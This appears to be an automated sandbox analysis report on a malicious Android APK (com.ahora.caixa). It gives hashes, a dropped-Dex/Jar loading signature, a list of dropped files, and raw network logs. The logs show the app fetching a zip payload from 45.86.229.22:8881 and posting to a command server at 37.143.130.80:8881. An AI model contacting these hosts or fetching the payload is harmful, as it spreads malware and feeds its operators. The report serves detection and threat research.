Analysis

  • max time kernel
    2709152s
  • max time network
    161s
  • platform
    android_x64
  • resource
    android-x64-20220823-en
  • resource tags

    androidarch:x64arch:x86image:android-x64-20220823-enlocale:en-usos:android-10-x64system
  • submitted
    02-03-2023 08:37

General

  • Target

    1677590406642.apk

  • Size

    2.6MB

  • MD5

    3fe1e782cbc444c29664bfe412e6021a

  • SHA1

    9936c2061c8b1e2d4415abfda2148c3edbf6b305

  • SHA256

    c288ed7987f6116dadd9ebe1a92c9b13b156f010331e8465db2e740299ee3091

  • SHA512

    8f9abe32c6b8cb85e314a4f5a77d21d0025346f93b5493df5163991c2d15b10742b2a4d58e02b96837905941be73ed464fa6ed3fca0855f3f19275daffc13b19

  • SSDEEP

    49152:y17+0ZAskvYsdM59CKUjO8ZtZ6FAVYRJCbaBCZrkOusJ4DkrrHrvi:aaekvYMQ93UFLZAgGMRkOuBArrHrK

Score
7/10

Malware Config

Signatures

  • Loads dropped Dex/Jar 1 IoCs

    Runs executable file dropped to the device during analysis.

Processes

  • com.ahora.caixa
    1⤵
    • Loads dropped Dex/Jar
    PID:4707

Network

  • flag-us
    DNS
    g.tenor.com
    Remote address:
    1.1.1.1:53
    Request
    g.tenor.com
    IN A
  • flag-es
    GET
    http://45.86.229.22:8881/gvcrfRKnew4.zip
    Remote address:
    45.86.229.22:8881
    Request
    GET /gvcrfRKnew4.zip HTTP/1.1
    Host: 45.86.229.22:8881
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: okhttp/4.9.0
    Response
    HTTP/1.1 200 OK
    Date: Thu, 02 Mar 2023 08:37:35 GMT
    Last-Modified: Tue, 21 Feb 2023 18:05:14 GMT
    Content-Type: application/zip
    Accept-Ranges: bytes
    Content-Length: 101031
    Server: Jetty(9.4.z-SNAPSHOT)
  • flag-es
    POST
    http://37.143.130.80:8881/rdc?method=query2
    Remote address:
    37.143.130.80:8881
    Request
    POST /rdc?method=query2 HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 202
    Host: 37.143.130.80:8881
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: okhttp/4.9.0
    Response
    HTTP/1.1 200 OK
    Date: Thu, 02 Mar 2023 08:37:36 GMT
    Content-Length: 317
    Server: Jetty(9.4.z-SNAPSHOT)
  • flag-us
    DNS
    ssl.google-analytics.com
    Remote address:
    1.1.1.1:53
    Request
    ssl.google-analytics.com
    IN A
  • flag-us
    DNS
    ssl.google-analytics.com
    Remote address:
    1.1.1.1:53
    Request
    ssl.google-analytics.com
    IN A
  • flag-us
    DNS
    android.apis.google.com
    Remote address:
    1.1.1.1:53
    Request
    android.apis.google.com
    IN A
    Response
    android.apis.google.com
    IN CNAME
    clients.l.google.com
    clients.l.google.com
    IN A
    216.58.208.110
  • flag-us
    DNS
    ssl.google-analytics.com
    Remote address:
    1.1.1.1:53
    Request
    ssl.google-analytics.com
    IN A
  • flag-us
    DNS
    ssl.google-analytics.com
    Remote address:
    1.1.1.1:53
    Request
    ssl.google-analytics.com
    IN A
  • flag-us
    DNS
    ssl.google-analytics.com
    Remote address:
    1.1.1.1:53
    Request
    ssl.google-analytics.com
    IN A
  • 45.86.229.22:8881
    http://45.86.229.22:8881/gvcrfRKnew4.zip
    http
    2.3kB
    103.6kB
    41
    46

    HTTP Request

    GET http://45.86.229.22:8881/gvcrfRKnew4.zip

    HTTP Response

    200
  • 37.143.130.80:8881
    http://37.143.130.80:8881/rdc?method=query2
    http
    675 B
    641 B
    5
    4

    HTTP Request

    POST http://37.143.130.80:8881/rdc?method=query2

    HTTP Response

    200
  • 216.58.208.110:443
    android.apis.google.com
    tls
    4.1kB
    8.3kB
    16
    16
  • 216.58.208.110:443
    android.apis.google.com
    tls
    2.9kB
    2.9kB
    12
    12
  • 224.0.0.251:5353
    3.7kB
    11
  • 1.1.1.1:53
    g.tenor.com
    dns
    57 B
    1

    DNS Request

    g.tenor.com

  • 37.143.130.80:55551
    833 B
    10
  • 1.1.1.1:53
    ssl.google-analytics.com
    dns
    140 B
    2

    DNS Request

    ssl.google-analytics.com

    DNS Request

    ssl.google-analytics.com

  • 1.1.1.1:53
    android.apis.google.com
    dns
    69 B
    109 B
    1
    1

    DNS Request

    android.apis.google.com

    DNS Response

    216.58.208.110

  • 1.1.1.1:53
    ssl.google-analytics.com
    dns
    140 B
    2

    DNS Request

    ssl.google-analytics.com

    DNS Request

    ssl.google-analytics.com

  • 1.1.1.1:53
    ssl.google-analytics.com
    dns
    70 B
    1

    DNS Request

    ssl.google-analytics.com

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • /data/user/0/com.ahora.caixa/app_securecache/unrar.jar

    Filesize

    113KB

    MD5

    0ed6b8ec70ab22c5f67663e68ce4d98b

    SHA1

    5f8addc17f5053787d37ad0c54a8d68986d5d1ac

    SHA256

    914d6856a065ece157253d4f7a1330dabcb0b6a42ed104a4008c63fb870881cd

    SHA512

    c4fc55221d7df0934f0492299039dca57aaea50f61847735c3a1d339efa046db5b467a207a098fb73f60e6a9eb4f154ab7e5ac4aa4077b4d9bea7466cfd26620

  • /data/user/0/com.ahora.caixa/app_securecache/unrar.jar

    Filesize

    528KB

    MD5

    12ef9a9f82df6de45fe745ec6a479836

    SHA1

    95a8bd8ccfc2e26841db7c2a607104f25a97e007

    SHA256

    b7932a5d1f91b400fc0a044b4f87684b152d81601596863ef8d61cfdcb09f38c

    SHA512

    c1c0db060815c6b49c43dc29f596b69b1783b29a9a347f91025879bfa626a698168b817b0c308c8303a9763729c2ddf94119d18a2bc5eb37a49d4ec9a1d60232

  • /data/user/0/com.ahora.caixa/app_securecache/unrar_enc.zip

    Filesize

    98KB

    MD5

    28989be97e2542590a0776ddd4fb9f51

    SHA1

    2aa3e760aa30dc90e75993a93364ec6199a5beeb

    SHA256

    7d0794161b09ecf9ab4ace397ae1bf309fef3f54656412dc2742a51ff72c0dc6

    SHA512

    20e17c7481cf1fb771cafd8f68197a70b9730908f032767d41a9a1b7cf50eaa35f93d6f9f4e4ea83a0e741d5b1606245e26ff263ba6990c13f0ceecebbea595b

  • /data/user/0/com.ahora.caixa/cache/1

    Filesize

    98KB

    MD5

    28989be97e2542590a0776ddd4fb9f51

    SHA1

    2aa3e760aa30dc90e75993a93364ec6199a5beeb

    SHA256

    7d0794161b09ecf9ab4ace397ae1bf309fef3f54656412dc2742a51ff72c0dc6

    SHA512

    20e17c7481cf1fb771cafd8f68197a70b9730908f032767d41a9a1b7cf50eaa35f93d6f9f4e4ea83a0e741d5b1606245e26ff263ba6990c13f0ceecebbea595b

  • /data/user/0/com.ahora.caixa/cache/2

    Filesize

    317B

    MD5

    5112d71db0f2db11ff2820745278aae7

    SHA1

    e2ccf9de49a70c0ab95c1e5895da8bea7f74c00b

    SHA256

    1b5ca7ea825e932a5b89ec2e63af36cb367257edcef70e1936bcd9702da763c9

    SHA512

    c258c3e9d462e110e111f07cecafa8b5ab5e92b6c480ce91af5b25dc984b4e44f2bff358a6c9401652d7578b374c43f7fd365a6abb5b5fec860d1d675cb7b76c

  • /data/user/0/com.ahora.caixa/cache/~test.test

    Filesize

    4B

    MD5

    098f6bcd4621d373cade4e832627b4f6

    SHA1

    a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

    SHA256

    9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

    SHA512

    ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff

  • /data/user/0/com.ahora.caixa/files/dbkeys.db

    Filesize

    8KB

    MD5

    9a7f3389cf225c38519f34b1e4fff4e8

    SHA1

    f011af30d5cf5a4cd15b0d82b0c00ff1a4c5952f

    SHA256

    bf1be95566105ea42392d0c06a2bd06e6ca724e9c8a5f5cd818813b178821378

    SHA512

    451936320e988c03a84aa6cbb0d2dc6c738eedc135114690e980908a39a0f86867799881bd09faf8843c5b34d57d7a356992d476ac6858083fe5c74600fdefa8

  • /data/user/0/com.ahora.caixa/files/gvcrfRK.zip

    Filesize

    98KB

    MD5

    28989be97e2542590a0776ddd4fb9f51

    SHA1

    2aa3e760aa30dc90e75993a93364ec6199a5beeb

    SHA256

    7d0794161b09ecf9ab4ace397ae1bf309fef3f54656412dc2742a51ff72c0dc6

    SHA512

    20e17c7481cf1fb771cafd8f68197a70b9730908f032767d41a9a1b7cf50eaa35f93d6f9f4e4ea83a0e741d5b1606245e26ff263ba6990c13f0ceecebbea595b

  • /data/user/0/com.ahora.caixa/files/localdb.db

    Filesize

    12KB

    MD5

    e7179ba1abb576a1eb3486db34de4037

    SHA1

    4dc87664c9be3d7a94d4886b7f56f4a8d7b983dd

    SHA256

    409f05ab16c6f1f0897959456d72f94a870b03581569f7c4970b22e541db827f

    SHA512

    50ee847527ad249dcb43d3d95dca9d8bb5bfdc459f6e5d639db4a31895e4f2ad75355451846cb732e380a576f41f1c3af19387cdc9ee7c5e46464c61613e458a

  • /data/user/0/com.ahora.caixa/files/localdb.db-journal

    Filesize

    17KB

    MD5

    15bc615fbb5f34f4caaee7609c97f43f

    SHA1

    29180cefebc927097a2757cae3ba7c588f60b46e

    SHA256

    a2ebe02fe94d93596e9ceec16a95dc6b1c45efd541accc248f6ffba9b54298a7

    SHA512

    d5d2f06144fd0fc8a93ae7b09ffe2a80f1a46d37a0eb030a50c6a3c10252a7e53373804d4fc926c3cb1f36b585c28357910979b4d0cdfa910cb824f5b3885597

  • /data/user/0/com.ahora.caixa/files/messdb.db

    Filesize

    8KB

    MD5

    57a39108426ea4fb8e5bc74accc22a88

    SHA1

    73f83c87418acba44a084cb7055fc5c34f6cf25e

    SHA256

    9d36142e37864417222d54360d821b9a75f31ad31d1f9a45c947edb63ec6b2d2

    SHA512

    f122d601019b7ee6077574897b51d60cf8223780db64e0649a772183c8025ac413d3ce0683c8bf05373e293cb67ebb62d9dfea15d5d16c495bc0628279709b8a

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.